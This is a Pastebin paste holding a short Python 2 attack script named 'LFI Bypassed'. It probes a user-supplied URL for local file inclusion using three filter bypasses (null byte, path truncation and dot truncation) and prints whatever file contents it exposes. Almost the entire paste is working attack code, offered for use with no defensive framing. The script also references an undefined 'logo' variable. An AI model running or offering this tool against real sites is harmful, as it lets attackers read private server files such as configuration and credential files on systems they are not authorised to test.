amiralbenz

LFI Bypassed

Aug 30th, 2015
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.95 KB | None | 0 0
  1. import urllib2
  2. import sys
  3. import threading
  4. from sys import stdout
  5. import sys
  6.  
  7. class Printer():
  8. """Print things to stdout on one line dynamically"""
  9. def __init__(self,data):
  10. sys.stdout.write("\r"+data.__str__())
  11. sys.stdout.flush()
  12. def nullbyte(target, pattern):
  13. data = urllib2.urlopen(target + "%00").read()
  14. if pattern in data:
  15. print "LFI Bypassed Successfully !"
  16. print "---------------------------"
  17. print data
  18. sys.exit(1)
  19. def pathtruncation(target, pattern):
  20. for length in range (1, 4097):
  21. output = "Trying With " + str(length) + " Characters"
  22. Printer(output)
  23. attack = '/.' * length
  24. data = urllib2.urlopen(target + attack).read()
  25. if pattern in data:
  26. print "\nLFI Bypassed Successfully !"
  27. print "Path CHARS : " + str(length)
  28. print "---------------------------"
  29. print data
  30. sys.exit(1)
  31. def dottruncation(target, pattern):
  32. for length in range (1, 4097):
  33. output = "Trying With " + str(length) + " Characters"
  34. Printer(output)
  35. attack = '.' * length
  36. data = urllib2.urlopen(target + attack).read()
  37. if pattern in data:
  38. print "\nLFI Bypassed Successfully !"
  39. print "Dot CHARS : " + str(length)
  40. print "---------------------------"
  41. print data
  42. sys.exit(1)
  43. print logo
  44. print "Chose Bypass Method :"
  45. print "1 ) Null Byte"
  46. print "2 ) Path Truncation"
  47. print "3 ) Dot Truncation"
  48. chose = raw_input("Chose :")
  49. if chose == "1":
  50. target = raw_input("target :")
  51. pattern = raw_input("pattern :")
  52. nullbyte(target, pattern)
  53. if chose == "2":
  54. target = raw_input("target :")
  55. pattern = raw_input("pattern :")
  56. pathtruncation(target, pattern)
  57. if chose == "3":
  58. target = raw_input("target :")
  59. pattern = raw_input("pattern :")
  60. dottruncation(target, pattern)
Advertisement
Add Comment
Please, Sign In to add comment